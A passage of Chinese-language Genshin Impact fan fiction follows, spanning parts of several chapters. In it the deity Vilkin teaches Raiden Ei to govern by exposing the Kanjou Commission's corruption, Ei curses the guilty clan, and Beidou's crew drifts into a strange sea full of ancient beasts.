为什么……明明如果是真的话,一定没有问题的。就像她们以前那样,影为稻妻前行的路上扫清一切障碍,由真控制着稻妻这艘巨船前行。 【死去的魔神不可重归地表,如今的我只是借由执政大人的神力留下的、来自五百年前的倒影。所以啊,我的影,你必须看看眼前,想想我们的国民——】 眼前与……国民吗? 影再度睁开眼,环视着四周。 心中有愧的九条孝行和他的武士们无法承受神明的威压,就这么昏倒在地面,重归冷静,武者的本能和强大的观察能力让她意识到了一个先前她忽略的问题: 天理从来不会迁怒于人类,所以—— 是天领奉行!天领奉行在稻妻,在她没有看见的地方,犯下了滔天大罪。 但是这次,她没有急于给出第二份答卷,她先是对维尔金说道: “维尔金大人,请问您是否能够撤去这漫天的水幕。” 刚刚是她慌了神,见到天理如此愤怒,才一步错步步错。冷静下来,影其实也很清楚,若非是稻妻的国民成为深渊的信徒,作为天理的维尔金绝对不会为难人类。 所以隔绝的水幕,是真如愤怒的天理所言,想告诉自己,因为将一切事务交由人偶将军导致的固守与封闭,忽略了人民所真正需要的。 维尔金点点头,天理应允了下属的请求。 水幕向天际撤去,巴尔泽布这才发现,原来不只是天守阁附近,就连整个鸣神岛都被高耸的水墙所包裹—— 就像她的锁国令一样,只是天理将那种无形的规则化为了切实存在的实体,高大的水墙把稻妻变得如同监狱无异。 这让巴尔泽布想起了一位,她从巴巴托斯那里听到的故人,仿佛如本能牵引一般,她喃喃—— “民众需要的是能够为他们指明方向的神明,而非高踞于王座的迭卡拉庇安。” 啪啪啪—— “这才是作为执政官的答案,不能说先前的那一刀有错——如果雷神仍是双生的姐妹那你就是正确的。” 维尔金叹了口气,也算是命途多舛…… 这对双生的姊妹是互补的彼此,但世界的规则无法让死去的存在插手提瓦特地表上面的事情,所以,巴尔泽布只能够自己面对。 “你也该适应坐在台前主桌,学会行使权力了。” 影默默低下头,紧紧抱住自己的太刀。果然比起自己,还是姐姐更适合作为尘世七执政。 这份念头一旦升起,就无法再度熄灭。 神明并不总是强大,无畏又无所不能的。如果武力值不能解决一切,如果武力值需要在存在危险的时候才可以用到,那么,真才是最合适活下来的那一位。 “你又在想一些有的没的,巴尔泽布。” 维尔金打了个响指,干脆将乱七八糟,躺在草坪上的天领奉行武士,用黑水席卷起来,扔到已经被切成两半的天守阁中。 与此同时,由水形成的触手将在稻妻各处警戒的天领奉行武士团团裹住,连带着领头的九条娑罗一起扔进了天守阁。 “算了,按照实际情况,你也才当五百年的执政官,有前辈的衬托,确实容易对自己产生不太自信的想法。” 做完一切后,天空并没有晴朗,水牢之外,仍然是更大的水幕。 维尔金将整个稻妻城内所有的天领奉行武士全部敲晕丢进天守阁,盘踞在稻妻领土海岸线上虎视眈眈的水幕听到了主人的号令,又形成了一轮穹顶,但是这次,不是明晃晃的提醒,是完全的静止—— 天理,将这片区域的非魔神的时间,全部静止了。 她听见维尔金说道—— “为了避免人类销毁证据导致我们的教学任务出现偏差,我决定亲自带你走一趟。” “这是放水!赤裸裸的放水!!” 暗之外海,本就水位下降不少的海面此时更是裸露出一大片焦黑的土地。只剩下七分之一脑仁的螭忿恨地盯着脑子突然转过来弯的巴尔泽布,心有不甘—— “为什么天理要手把手教她怎么当尘世七执政?!” 天理不是喜爱人类吗?那为什么会随随便便就这么放过因为自己失职而造成自己国度的人类陷入痛苦绝望的巴尔泽布? 退一万步讲,难道没有别人能当雷神了吗? 螭将目光投向自己的好兄弟大蛇,希望这个目前这位史无前例从暗之外海三进三出的魔神能够给脑容量已经没有磨损空间的自己解答一下。 奥罗巴斯歪了歪头,抛开本体是一条巨大白蛇这一点不谈,它没有螭喜欢吃人肉的坏习惯,恰好相反,他很喜欢人类,加之在白夜国的那段时间看到了许多魔神都不曾知晓的秘辛,所以维尔金的一些古怪的行为在奥罗巴斯的眼中都极其合理。 “天理不是想让尘世七执政换届,或者说,为了更多人类能够正常地生活在这片大陆之上,他本人并不希望战争发生。” ——虽然从结果上看,的确每一次战争都是维尔金率先挑起,也怪不得螭会对天理的宽宏大量如此大惊小怪。 奥罗巴斯怜悯地看着同为兽形但是已经完全失去脑子和智慧的好兄弟。 供奉神明的怜悯之心让现人神巫女也不由得对明明是喜好吃人的螭产生了无谓的怜悯之心,珊瑚宫心海默默催动神之眼,创造出了一个水系的水母,慢吞吞地散发着治疗的暖暖光辉。 海域中间堆叠的大家伙们发出意义不明的哼哼声,奥罗巴斯不悦得给得了便宜还卖乖的远古海灵们一尾巴。 珊瑚宫心海虔诚地为奥罗巴斯祈祷。神明的脊背之上是他们赖以生存的领土,为了海祇岛的大家,蛇神不远万里也要赶到他们身边,只为了带他们远离滔天的黑渊之水。光是这一点,就足以让本就信仰奥罗巴斯的海祇岛众人将全身心都献于大蛇。 螭嫉妒地看了眼大蛇脊背上的人类,一道神出鬼没的身影又揪住了他的七十寸。 “哼哼哼——看,这下可被伟大的派蒙抓住现行了吧?螭,你是不是又嘴馋了?等维尔金处理完巴尔泽布,我就让他来处理你了!” 派蒙揪住不敢乱动的螭,恨铁不成钢地看着它。 所有魔神都被烙下名为爱的诅咒,但是只有两个魔神的症状出了大问题—— 一个是因为有老婆孩子所以不管如何烙印都不喜欢人类的奥赛尔; 还有一个是把“人类,好吃!”这句话刻进基因序列的螭—— 作者有话说:接下来是由维尔金先生为后辈雷电影带来的的教学示范(?) 关于真,樱花代指神樱树,一缕清风代指伊斯塔露千风神殿。可能有点抽象? 第52章 第 52 章 理论结束,实践开始…… “那怎么了?” 螭理不直气也壮, 身子一扭,把小小的时间之魔神甩在一边,把整条身子扎进海水中。 “我现在又不吃人了, 难道睹人思饭回味一下美食也有错吗?” 螭的话显然引起了更多潜藏于深海之中的远古魔兽们的共鸣。它们跟魔神不一样, 除了天生爱人的一些温和无害的精灵, 大多数魔兽可是相当怀念人类的味道。不过嘴馋归嘴馋, 要是因为好吃的食物跟天理撕破脸、被划归到深渊那一边, 才真正得不偿失。 躁动了一番后,除了凝聚在奥罗巴斯头上海祇岛的视线更为热烈之外,热热闹闹的暗之外海到底是安静了不少。 “真是强词夺理——” 派蒙不解气地跺了跺脚,要是她全盛时期的力量在手,别说是一条抖机灵的螭, 暗之外海这些残兵败将可没人能够拦得住她。 “不必理会螭,”奥罗巴斯安抚地蹭了蹭随后叹了口气,用尾巴将沉底的螭打捞上来, 向生气的派蒙和空, 以及头顶上许许多多害怕的人们,委婉解释道:“螭大部分的灵魂和力量依旧被摩拉克斯镇压在璃月,难免有时候脑子不太灵光, 他说的话, 大家不要太当真, 你们都不会有事的。” 说完, 白色的大蛇环顾四周, 最终,一直保持沉默的一只巨大鲸鱼形态的原海巨灵默默上浮,这个比奥罗巴斯还要古早的物种默默将自己水做的脊背露出海面,友好地拍了拍肚子。 “背着一个大岛这么久也累了吧?要不先放在我背上, 休息休息。” 巨灵的声音悠扬而直入心灵,不等大蛇回答,巨灵就缓慢而不容抗拒地想要把奥罗巴斯背上的海祇岛接到自己身上。 奥罗巴斯不动声色地将海祇岛,拒绝了好心的原海巨灵的帮助。 他自己的人类,才不要交给别人保护。 失落的原海巨灵不舍地抬头看向海祇岛上那一个个小小的黑影圆点,被驱赶至暗之外海后他就很少见到过自己的同类。刚刚他感受到了同族身上淡淡的气息,还以为他的族群同胞们远渡重洋终于来到了暗之外海,没想到却是奥罗巴斯曾庇护的人类们…… 毕竟海祇岛是奥罗巴斯的造物,温和的原海巨灵不愿夺人所好,被婉拒后又默默沉入了海底。 海底的陆地并不平坦,暗之外海的海域虽然平静祥和,但由于这片海洋本来是深渊的大本营,裂缝之中偶有深渊的踪迹。不过都是些小鱼小虾,甚至犯不着天理亲自出手,路过随便的哪个好心的魔神和长生种随手就能把它们拔除干净。 只是…… 鲸鱼形态的远古巨灵看着从地下冒出触手后探头探脑的深渊淤泥,果断地一尾巴拍死来不及溜走的深渊扈从。 他抬头看着在海面把自己盘成蚊香圈的奥罗巴斯,默默地将被时间之气味所吸引的长生种们尽数驱赶开来。直觉告诉他,海祇岛上的人类,或许是他那些留下来的同族为了获取天理的庇护,从而进化出来的拟态海兽。 虽然他不懂天理的审美……但看起来,他们似乎过得还行? 反正不管是天理的敌人还是天理的下属,好像从来没有人能够参透这位原初之神明的想法。 暗之外海的长生种们一个个见多识广精得不行,魔神中还有螭这个不爱人但爱吃人的异类,一旦让他们察觉到海祇岛人血脉中所蕴藏的东西、向天理告密…… 所以奥罗巴斯不敢去赌天理本人的想法,他只能够尽量把危险的火种掐灭在摇篮,尽可能不让别的魔神发现海祇岛的秘密。 作为百年前的“共犯”,大蛇发自内心得希望巴尔泽布和她的稻妻平安无事。 时间是法涅斯之影,伊斯塔露最为出众的权能之一。 纷飞的樱花雨停滞在半空之中,天守阁之外、稻妻全域之内,在作为法涅斯半身的维尔金的意志下从提瓦特大陆流动的时间中孤立开来。 哪怕是影,也不免为这堪称作弊的力量而心惊肉跳。不难理解为何深渊魔物见到天理就会放弃一切当场遁走。 暂停时间、隔绝空间,换而言之,只要维尔金愿意,他实际上拥有能够在无人察觉的情况下顷刻间毁灭掉一个国家的实力。 那—— 为何当年坎瑞亚之战还需要尘世七执政前往、甚至导致七国因此而折损众多呢? 影默默将这个问题铭刻在心,等到合适的时机,再向维尔金寻求问题的答案。 影回过神,高大古朴的离岛样式的庭院建筑,华美的居所倒是其次,但映入影眼帘的、自锁国令以来勘定奉行从外国商人搜刮出来的血钱还是让从影短暂的失语。 虽然政务影一般是交由人偶将军代为处理,但这不意味着她对离岛正常情况下的税收缴纳、以及勘定奉行平素以来缴纳给国库的钱财心里没数。 光是明面上看见的奇珍异宝,就已经超过勘定奉行家上报给稻妻城的数目。 “在提瓦特七国的格局完全成型之前,尘世七执政的「实力」比「执政能力」要重要得多。在两千年前,能够带领人类活下来、并且击败其余的魔神,就足矣成为尘世七执政的有力竞争者。” 维尔金陷入了短暂的回忆。 不少战败的魔神会怨恨击败他们的尘世七执政,却不敢将怒火怪罪于真正的罪魁祸首、宣布尘世执政官只能从七位魔神中抉择而出的维尔金。 原因很简单。神明爱人的诅咒让他们也隐隐意识到,过于强大的非人在提瓦特大陆越是活跃,地表就越是危险,人类便越是难以生存。 直到魔神和长生种们死的死,被封印的封印,被扭送暗之外海的也沉寂下来,提瓦特才进入到真正算得上是和平稳定的发展时期。 然而,坎瑞亚战争毁了维尔金几乎所有的安排,这些只能苟活于阴影之下,被天空岛的视线压迫得喘不过气来的老鼠们毁掉了他的计划。 所以作为代价,维尔金剥夺了他们出现在地表的资格,以及迎来属于深渊的神明的希望。 维尔金拿出手中褪色的神之眼,作为眼狩令的颁布者,影很快就辨认出来这是被强制剥夺下来、又因为其持有者死亡、失去原有色彩和力量的神之眼。 “这是……您从神像上抠下来的神之眼吗?” “什么神像?”维尔金一脸疑惑:“这是我在这个仓库里面捡到的神之眼。” 影默默收起这三颗神之眼。 无须维尔金再多说什么,面对着眼前勘定奉行家鼓鼓囊囊的私库、以及实际上并没有上缴、而是沉眠在仓库角落的褪色神之眼,哪怕是一直以来都认为是自己所作所为全部是为了稻妻国民好的影,也终于认清楚一件事实—— 高居于天守阁、将政务全然交给人偶的巴尔泽布的政令已然扭曲,她颁布下来的政令不光对她的子民们造成了无法弥补的伤害,更是让她一直信任的勘定奉行有了中饱私囊的念头。 只是她依旧心存幻想—— “天理大人——” 影凝视着手中灰色的神之眼,缓缓问道:“如果……我直接负责眼狩令的实施、不让有心人得以利用锁国令敛财,是不是我的想法就能得以贯彻实施? 维尔金直言:“并不会,因为哪怕是魔神精力也是有限的。执政官将事情交给下面人去办很是正常,我也经常直接把公务丢给派蒙和维系者。” 勤奋如摩拉克斯,也只是会在每年举行的七星请仙典仪上降下对下一年璃月发展的指引。 而所有事情亲力亲为的下场,可以参考维尔金他们仨——每天不是在睡觉,就是在处理公务。 “……包括精进武艺的确也是一种保护国民的方式,可是在没有经过调查就随便颁布一个足矣影响整个国家的法令、造成国家内部出现了如此之大的问题之时,巴尔泽布,你对稻妻所造成的伤害已经超过了未知的危险。” 维尔金直言不讳:“我在蒙德和璃月听到最多的,也就是抱怨玛尔巴斯手底下的愚人众插手别国事务太多;但是巴尔泽布,在稻妻,我听到的更多的是,因为将军颁布的法令,对稻妻人以及外国人所造成的影响——” “就连我让摩拉克斯传给你的口信以及璃月七星的拜访函你都没有收到,所以这些话,恐怕同样没有人说给你听吧?” 影沉默着点点头。 她的确有想过眼狩令和锁国令受阻的可能,但是天领奉行的赫然的战绩打消了她的想法。而稻妻城内也不至于如离岛这般被剥削的惨绝人寰。 维尔金叹了口气。巴尔泽布需要转变她对身份的认知,她现在是执政官,不能因为子民称她为雷电将军,就真的当自己是一名纯粹的武士。 “面对外敌的将军不会得到错误的情报,但处理内部事务的执政官一定会面对形形色色的,妄想通过蒙蔽执政官来攫取利益的家伙们。这就是为何需要你用肉眼去看,单靠手底下人汇报做出来的判断一定会出问题的。更何况,你的眷属似乎也没有及时向你汇报……总而言之,执政官不需要事事亲力亲为,但一定要手拿把掐,拿捏住手下人。好了,理论结束,实践开始——” 时间重新流动。 看守勘定奉行私库的武士身体短暂晃了晃,随即在看清楚来人的相貌之后,大惊失色道: “将……将军?” 影睁开眼,面对第一道题目,她没有犹豫,当即命令道: “……速速通报勘定奉行家主柊慎介,我已亲自前来离岛,命他速来此地见我。”—— 作者有话说:神子:什么?影出来了?! 第53章 第 53 章(修) 对勘定奉行的惩罚…… 离岛有什么东西发生了变化。 先是不知为何海面突然抬升、海水封锁了整个海岸线, 又是雷电将军突然莅临离岛,说是要查勘定奉行家的账本,再就是勘定奉行家主被传话、神明雷霆震怒…… 嗅觉敏锐的商人们已经隐隐察觉, 离岛的天, 已经要变了。 而一直在伺机行动的社奉行神里家更是火速通风报信, 他们已经意识到这是一个能够扳倒其余两大奉行家的绝佳机会。消息顺着明面暗里的渠道迅速流通, 传到位于影向山的鸣神大社之中。 八重神子将信将疑, 权衡再三,她还是亲自前往离岛。这么多年来,八重神子既没有办法来硬的,通过击败影来把她从一心净土里拉出来,又始终被影拒之于门外。好不容易能够又一次面对面推心置腹交谈的机会, 八重神子准备好了腹稿、轻小说和近日来在稻妻很是流行的团子牛奶,踏上了与友人重聚的道路。 她已经打定主意,这次必须要全方位她的神明好好谈谈。至于为何影突然从一心净土中离开——想来一定是目前稻妻的异样已经到了不得不让神明亲自出马的地步了。 影向山位于稻妻城深处, 鸣神大社更是因其所供奉之神的身份而高居于影向山的制高点。因此, 来到几乎算是稻妻国境线的最前沿,这位长居于鸣神大社的粉色大狐狸面色终于凝重起来。 “宫司大人,可总算把您盼来了。” 勘定奉行家的人。 八重神子上下扫视了一番, 如此着急匆忙, 原来他们也知道自己干的事欺上瞒下的丑事, 还知道自己蒙骗的是一国的神明。 勘定奉行家的监察急得团团转, 八重神子施施然弹了弹因为一路从影向山赶到离岛而沾染上几朵绯樱绣球的衣袖, 不紧不慢道: “哎呀,勘定奉行不是一直不欢迎社奉行和神社的巫女们干涉离岛的事情吗?怎么看起来,急急忙忙地,像是在刻意迎接远道而来的八重宫司大人呢?” “这么心虚又慌张, 不会是因为咱们的神明大人,正在对着柊慎介大发雷霆吧?想要我就你们的话,可是又代价的哦。” “宫司大人……”前来迎接的勘定奉行监察不敢正面回答八重神子,只能小心翼翼地提议道:“现在将军正在奉行家宅邸……不如……您先进去同将军和那位异国的神明磋商一番?还望宫司大人有大量,一定要救救勘定奉行家……” 哦? 八重神子眼睛里闪过一丝光芒。她一路上都在思索,究竟是什么才能让影这个软硬不吃的家伙主动离开一心净土,如果是异国的神明,一切也说得通了。 看着这不详的黑水,对于来者身份,八重神子心中也已经有了数—— 众所周知,七国之中,唯有正义之神热衷于审判、传言之中,她甚至渴望审判诸神……如果是这位正义的水神接着锁国令和眼狩令的由头插手稻妻、甚至向影发动审判…… 怪不得影会如此愤怒。 念及此处,八重神子终于收敛了玩心,她扫了扫衣袖,说道: “带路吧。” 被喊过来求人的监察如蒙大赦,一路上七扭八拐,把八重神子带到了一个她既熟悉又陌生的地方——勘定奉行,或者说是柊家盘剥离岛外国商人所赚的金钱的私库。 不愧是正义的神明,就连异国他乡的人类的中饱私囊之举都能将其揭穿并进行审判。八重神子心中已经暗暗下定决心,此次之后,她一定要彻查稻妻境内的水域,稻妻四面环海,如果让水神的眼线顺着水系把握住稻妻的命脉,后果不堪设想。 她们不能赌同为尘世七执政的水神是否有入侵他国的想法,至冬就是前车之鉴。 虽然不知道为何他们的行动规模骤然萎缩,现在想来,极有可能是提前得到了审判之神将至的消息,干脆收缩阵线,把影和稻妻退出去当活靶子。 理清好思路,八重神子也见到了自己心心念念的神明。 “神子……” 八重神子看见自己许久未见的神明先是一副不敢相信的样子,紧接着像是想起了什么,脸色大变,甚至向她质问道:“你怎么在这里?” 当然是社奉行的小子提前给她通风报信了。 但有外人在场,这话是万万不能直接说出口的,于是八重神子捂嘴掩面,轻轻笑道:“怎么,只许你躲在一心净土不见我,就不能准我自己跑来见你吗?” “不……神子……” “巴尔泽布,让你的眷属进来吧,看起来,她似乎对离岛的了解要比你多得多。” 影身后传来一个陌生男人的声音。在八重神子耳朵里,这个家伙言语之间甚至像是在暗暗嘲讽影对自己国家的了解还不如她的眷属。 隐隐不满的八重神子试图穿过影遮挡的身躯望向她身后发话的人究竟是谁,可她凑过去后,才发现,在男人发话之后,纵然影看上去万般不愿,却还是沉默地为她让出一条道路,但在那个男人看不见的地方,她轻轻的摇了摇头。 似乎是……不希望她来? 八重神子越想越不对劲。 这届水神好像是并不是一位男性神明……以及,如果是水神,为什么影要对理论上是处在同一地位的另一位尘世七执政如此尊重?甚至放任其在自己的国家领土上对自己横加指责。 答案似乎呼之欲出,但八重神子已经不敢随意轻下结论,毕竟她可是记得清清楚楚,不管是真还是影,都曾经告诉她一个直到今天她依旧铭记在心的铁律—— 天理,绝不会在深渊没有出现、战争的号角没有吹响之前降临至现世。那位神明为麾下魔神留有相当宽裕的自主裁量权,但是,除了天理,又有谁值得让影如此顾忌? 八重神子修饰得当的指甲嵌入手掌心的肉里。对于她而言,天理与坎瑞亚的战争几乎摧毁了她的一切。 她担忧地看着自己的好友,寄希望于影能够看懂她的眼神,给她一些额外的提示。 影看懂了,直接说道:“神子,这位是我们的上司……” “既然是你的眷属,那直接称呼我的本名「维尔金」即可。” 金发的男人径直说道。维尔金张开手,无视了跪坐在地上瑟瑟发抖的柊慎介以及柊家的几个搀着他的武士,随意捞起堆积着的摩拉。金色的货币在他手中流转,问道: “我们刚刚说到哪里来着?啊……是关于罪行以及惩罚上——” 维尔金将问题抛回给影:“私颁法令、征收重税、层层设卡、狼狈为奸……虽然只是一个平凡又弱小的人类,但是做出的事情,都是能够足矣危及稻妻统治的罪孽呢。” 维尔金凑近了些,挑动着已经彻底瘫软了骨头的勘定奉行家主的神经: “人类,你希望能从你的神明手中获得一个什么样的惩罚呢?” “将军,将军!”自以为抓住一线生机的柊慎介连忙磕头,老泪纵横道:“看在我们柊家祖祖辈辈没有功劳也有苦劳、将这片荒芜的离岛从无到有建设起来的份上,求求您,放过柊家一条生路吧!” 影平静地凝视着毫无仪态的柊慎介。 天理是正确的,若不是他亲手将糜烂繁华的谎言戳穿,可能直到整个稻妻分崩离析,她才会惊觉,原来奉行已经将人民的痛苦与哀嚎声尽数遮掩,可等到那时,一切都已经晚了。 “勘定奉行一家,建设离岛,的确有功。” 柊慎介精神为之一振,似乎以为神明能够念在旧情,放过他们。 “但那是过去,你们也因此获得了三奉行之一的殊荣,获得了在稻妻境内「御三家」之称,但是,你们背叛了这份殊荣。” 雷电影伸出手,紫色的雷光顺着指尖流向这位涕泗横流、被恐惧折磨得连面容都已经扭曲的家主: “从现在起,勘定奉行每一枚借由不正当手段获得的摩拉,都将化作烙印在尔等姓氏以及血脉之中的诅咒。从今天起,柊家每一个享受过血钱恩惠的人类,都将共享这份诅咒,你们的灵魂已经同离岛的土地深度绑定,从此,离岛上任何人因冤屈和贪赃枉法所受到这折磨,都将在夜里作用到你们的身上。每一枚用不法手段获得的摩拉,都会让这个诅咒的期限延长一天,直到——” 神明顿了顿,给出了让勘定奉行上下几乎晕厥过去的解决之法。 “你们将血钱数倍奉还于苦主,并获得了所有被你们压榨之人的宽恕。” 在天空岛之主的见证之下,诅咒已然生效。 在柊慎介绝望眼中,富丽堂皇的私库不再是象征着勘定奉行家的昌盛,而是变成了如影随形的诅咒。 一枚摩拉滚到他的身边,像是在嘲讽自以为是的勘定奉行 威风凛凛的三奉行,最后是被人拖行着离开。 八重神子心中不安。如果是影,断然是不会做出如此果决又严酷的惩罚…… 所以……是因为天理的授意吗?可是天理,不是向着人类吗? 收拾完直接因素,维尔金看向久久不言的眷属。 “巴尔泽布的眷属,你知道在离岛所发生的一切、以及巴尔泽布法令在实行过程中发生的种种异常问题吗?” 这个问题不难回答。 “鸣神大社明面上作为供奉雷神的神圣之所虽并不直接参与稻妻国内的各种事务,但在暗处,我们也安排了专门接洽的巫女,为受到眼狩令影响的人们发放补助福利。” 和一心执着于永恒的影不同,在人间的日子让妖怪也学会了圆滑处世、滴水不漏。 只是……眼狩令和锁国令连带的影响实在太大,八重神子原先只是打算在眼狩令进行到高潮、必须由影亲自出面平定民心之时,趁机想办法接近一心净土内的影。八重神子自信能够开解这位多年的老友,但是影一直避而不见,巧妇难为无米之炊,她也只能等。 还在头脑风暴拼命打腹稿的八重神子并不知道,自己在心中所想的一切已经统统被维尔金打包塞到了影的脑海里。 很难形容维尔金此时的心情。 最开始他还以为巴尔泽布身边没有一个能用之人。结果搞半天,外面还有一个懂得怎么搞政治的眷属啊! 原本维尔金还在试图分析,巴尔泽布这一天到晚地在天守阁窝着是在干什么?眷属又在干什么?神明颁布法令的时候,没有脑子清楚的人阻止一下吗? 现在他终于恍然大悟。 ——搞半天,原来是巴尔泽布把沟通的大门给锁死了! 第54章 第 54 章 某人要补五百年欠下的公…… 半身的死去对于魔神而言的确是一个巨大的打击, 可是巴尔泽布不是还有关心她的眷属兼朋友吗? 维尔金能够理解巴尔泽布的痛苦,但是,正因为失去了自己的半身, 不是才应该好好呵护自己半身留下来的遗产吗? 光是这一点, 维尔金无法与巴尔泽布共情。 死亡是自世界诞生之初就存在的法则, 哪怕是天理也无法阻止死亡, 如果能够阻止, 那他早就把法涅斯从无尽的沉睡之中拉回来了。 世界很公平,得到什么,必定对应失去什么。 强如维尔金,照样也无法事事称心如意。 指望维尔金本人将心比心开导巴尔泽布的心灵状况,难度不能说很高, 只能说没有直接把巴尔泽布绑回天空岛让维系者谈心来得效率快。 天理知晓一切,所以不会因半身的逝去而将自己逼入死胡同。他做不了那个打开巴尔泽布心房的人。 但是他可以用工作填满巴尔泽布思考的空隙。他维尔金可巴尔泽布的顶头上司,搞不定巴尔泽布, 那就让她的眷属和工作来搞定她—— 维尔金看向手忙脚乱的粉色大狐狸, 郑重其事地交给妖怪眷属一个极其艰巨的任务。 “诺,小狐狸,以后巴尔泽布要是还自闭不出门, 你就用这个联络维系者, 让她下来跑一趟。用法……跟神之心一样, 巴尔泽布, 你有空教教她——对了” 维尔金回头质问:“你怎么不接神之心?巴巴托斯说他忘带了, 摩拉克斯说他以为那玩意坏了,你打算给我什么理由?先说好,不接受雷同借口。” 影不假思索道:“那东西我拿着用不上,就放在神子那里了。” “你告诉她神之心的使用方法了吗?” “我有安排奉行所的人转告神子。” 维尔金满脸的不信任, 于是他扭头看向八重神子,询问道:“你知道怎么回复神之心消息吗?” 粉色的大狐狸一脸懵:“神之心还有这个功能吗?” 维尔金:他就知道会是这样。 现在距离巴尔泽布送出神之心又不知道已经过去了几百年,深究她究竟有没有告诉眷属已经没有意义了。 于是维尔金叮嘱八重神子: “你看好巴尔泽布,有问题电联维系者。记住别说是我让找的,就说是维系者是巴尔留给你们的最后的锦囊妙计就好。她一定会帮忙的!” 八重神子郑重点头:“请放心,我一直有随身携带神之心,有什么情况一定及时汇报。” 紫色的棋子悬浮在粉色狐狸的手掌心,维尔金十分满意。 巴尔泽布事业运不错,他看这眷属就很能补足她的短板。 “那你们去忙,我先走了。” 说完,维尔金从半空中撕开一道裂缝,直接跳了进去。 影终于松了口气。 “对了,巴尔泽布——” 维尔金探出头来,一只手抵着裂缝,一只手丢出一只金灿灿还在不停吐着记录的地脉之花: “这五百年的年度述职报告补一下,七个神就你缺了整整五百年的报告。补齐后直接发地脉数据到天空岛,快点补哈,等回天空岛我亲自批。模板的话,你自己找下巴尔当年留下的文件,记得按时间补齐。” 说完,维尔金直接关上裂缝,徒留金灿灿的地脉之花还在不断吐出空缺报告的提示。 “唉,我可怜的友人,还有五百年的公文要补呢。”八重神子捂嘴轻笑,随即缓缓道:“不过…天理好像比真描述的那个形象要好说话多些?” 影的身形停滞了一瞬,随后,她径直牵起老友的手,轻声道—— “可能是因为永恒并不存在……这世上,哪怕是天理,也在不停地发生改变吧。” 影突然发现,承认自己多年来所坚持的理念行走在一条错误的道路上并不如自己想象的那般痛苦。 原先她认为,如果磨损是天理加诸于万物的世间法则,那作为天空岛之主的他,自然是乐于见到尘世七国永盛不衰,而永恒,理应是同他的理念最为接近的。 但是显然,维尔金的反应告诉她事实并非如此。 甚至于天理偏袒人类的刻板印象也被打破了——哪怕天领奉行和勘定奉行的错误并没有上升到深渊的高度,这个真口中极其溺爱人类的神明依旧主动鼓励她公平公正地施加惩罚,甚至于在听到神子依旧在默默守护稻妻的答案之后,气好像也消了不少。 如果放在魔神战争的时间节点,天理绝对不会理会她们的解释,也不会给予她们纠正的机会。在那时,天空岛的主人只会认为,人类犯错,那就是魔神的统治出了问题,惩罚魔神便足够,为什么要惩罚人类? 永恒好像只是一个美妙的梦想,现实中,哪怕是天理,也没有一成不变。 八重神子嘴角微微上扬,挽住了友人的胳膊,亲昵地说道:“走吧,影,我们先一起去收拾海祇岛的烂摊子,晚上再一起去一心净土补齐这五百年欠下的公文。” “海祇岛?奥罗巴斯的信徒们又怎么了吗?” “影。” 八重神子叹了口气:“眼狩令和锁国令摧毁了很多人的生活。” “鸣神岛本土,大家信仰你、将你奉为神明,所以哪怕有些许不同的声音,也能很快被镇压下去,但是—— ” “本就信仰不同、还一直同鸣神岛本土互相看不顺眼的海祇岛无法接受因雷电将军不合理法案而造成的损失,已经发动了战争……” 八重神子顿了顿,下一句话让影再也无法坐视不管—— “而在这之前,社奉行的人来报,有一条通体白色、头戴珊瑚桂冠的庞大之蛇带走了海祇岛,而他们离开的方向是——” “暗之外海。” “可恶,稻妻究竟发生了什么!为什么这些海兽如此狂躁?” 北斗握住桅杆,反手一撑,借力跃上船头。雷元素力量集聚,阴暗的天空下,人类手中的重剑爆发出璀璨的雷光,全力以赴地向迷雾之后庞大的海兽发出势不可挡的一击。 紫色的雷光对上不知名的海兽,北斗手中重剑不断加大力度。 咔嚓—— 清脆的龟裂声从巨大海兽身上传来,行动也终于开始迟缓。 太好了,攻击能够奏效。北斗在心底隐隐松了口气,手上不停,转换剑势,不断挥舞大剑,一下又一下地造成猛烈的攻击,那道裂纹也越来越明显,直至最后,北斗深吸口气,蓄力跳劈,万钧雷霆悉数灌注于可怖的海兽—— “结束了吗?” 北斗屏息凝神,手中紧握的大剑依旧附着着万钧雷霆之力。 下一秒,死兆星号船头骤然抬高,前头的风帆骤然鼓起,这艘足以穿越稻妻雷暴的船很快失去平衡,向后方栽去—— 北斗大喝:“快!来个人把风帆收起来!”说完,北斗奋力掷出重剑,万叶脚尖轻踩横飞的剑身,手起刀落,几下就将已经彻底失去控制的风帆撇下来。 与此同时,重剑的剑锋刺穿了已经搭在龙骨上的触手、蓝色的鲜血泼洒在死兆星号船身,受伤的远古海兽发出凄厉的叫声,北斗愈战愈勇,拎起插在海兽足足能需要两个人合力才能环抱住的腕足之上的巨剑,将施加给死兆星号上的力量横扫入海。 “可恶。” 北斗喘着粗气,重重地将巨剑插在甲板。 “不应该啊,明明我们才越过雷暴海域、尚未进入深海中。这位执掌雷电的神明怎么会放任自稻妻近海中有如此之多的海兽侵扰人民?” “大姐头,死兆星号船员及物资清点完毕——全体船员存活,七人轻伤。”大副语气沉重,在北斗半松口气之后带来了糟糕的消息: “但是我们所有物资已经被海兽扫入海底。除此之外,航海士已经确定死兆星号正式偏离了原定航线,似乎是在穿越雷暴之后,海风和洋流催动我们向着与璃月相反的方向前行,加上同海兽的搏杀浪费了我们太多的时间精力……这里很是诡异,连指南针也出现了混乱,无论如何都无法正常使用……现在云层遮盖住了星辰,占星术士也无法堪别方向,附近的海水浓稠得像是墨汁,刚刚有兄弟们下海确认——” “下面,全部都是闻所未闻的远古海兽。” 不光是北斗,死兆星号上所有的船员霎时间全部安静下来。 北斗面色难看:“你是说……下面还有海兽在盯着死兆星号?它们向下水的兄弟们发起攻击了吗?” 大副摇摇头。 正常情况下,海兽们都拥有极强的领地意识,如果是因为死兆星号误入了某个海兽群的聚居地,那这些海兽们断然不可能跟他们玩车轮战,死兆星号一定会在进入他们领地的海域的一瞬间被群起而攻之,但是大副说—— 它们只是,在海里盯着他们? 这太诡异了。 有那么一瞬间,连北斗也忍不住起了一身子的鸡皮疙瘩。 这样的行为哪像是海兽?这分明像是顽劣的小孩看着只能寄居与片叶轻舟之上的蚂蚁,恶趣味般地观赏蚂蚁们因为他们一举一动而狼狈不堪的样子。 “海兽不应该有这样奇怪的行为,我在稻妻生活了这么多年,从来没有听说过稻妻附近有已经繁衍成一个族群的海兽群,更是从来没有见过这样浓稠、诡异的海水。” 枫原万叶在半空中摊开手掌心,闭眼感受风的气息。但不出他所料,这片海域就像是传说中的无风之地烬寂海。但这更不可能了。 他们只是在雷暴之中迷了路,又不是对时间的感知发生了错乱。 但…… “恐怕我们就算重新挂上风帆、试图顺着洋流和季风离开这片海域也不可能了。” 水手们也验证了枫原万叶的猜测,给出了几乎是最糟糕的那个答案—— “没有风的存在,海水的流动毫无章法,却一直把我们禁锢在原地。” 